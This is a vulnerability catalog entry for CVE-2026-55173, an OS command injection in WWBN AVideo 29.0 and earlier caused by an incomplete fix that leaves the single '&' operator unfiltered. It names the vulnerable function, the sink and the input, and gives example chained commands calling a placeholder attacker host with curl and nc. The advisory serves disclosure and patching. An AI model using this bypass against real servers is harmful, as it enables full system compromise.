CVE Catalog

CVE-2026-55173

HighCVSS 8.1
Published: Updated: Translated: NVD NIST

Exploitation Probability (EPSS)

High risk
3.43%

88th percentile - higher than 88% of all known CVEs

Summary

WWBN AVideo versions 29.0 and below are vulnerable to OS command injection. The fix for CVE-2026-33482 was incomplete and does not neutralize a single & (shell background operator), allowing multiple commands to be chained.

Risk Assessment

An attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server, leading to full system compromise.

Recommendation

Immediately update AVideo to a version containing commit c1cfa2bea8a351a1d07f5758f82887403e3abf1f which patches the vulnerability.

Other vulnerabilities in WWBN AVideo

See all
Original NVD description (English source)

WWBN AVideo is an open source video platform. Versions 29.0 and below remain vulnerable to OS command injection because the fix for CVE-2026-33482 was incomplete and still does not neutralize a single & ( the shell background operator). CVE-2026-33482 reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...), but did not account for the single &. ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N). Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not. This issue has been patched by this commit: https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f.

Vulnerability data from NVD (NIST) · CISA KEV · EPSS